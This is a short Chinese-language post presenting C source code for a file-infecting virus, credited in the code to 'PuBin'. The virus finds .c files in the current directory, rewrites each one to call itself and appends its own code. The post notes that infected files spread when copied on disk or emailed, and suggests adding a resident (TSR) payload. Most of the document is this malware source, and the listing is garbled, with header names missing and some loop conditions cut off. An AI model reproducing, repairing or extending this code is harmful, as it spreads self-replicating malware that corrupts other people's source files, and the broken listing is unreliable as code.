这是C语言写的一个病毒,运行程序后其内容变化另保存为after_virus.c
此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果他们一运行又感染了他们保存1.c文件目录下所有c文件 对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你完全可以写一个TSR驻留函数。
代码如下:
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include\n",out);
fputs("#include\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}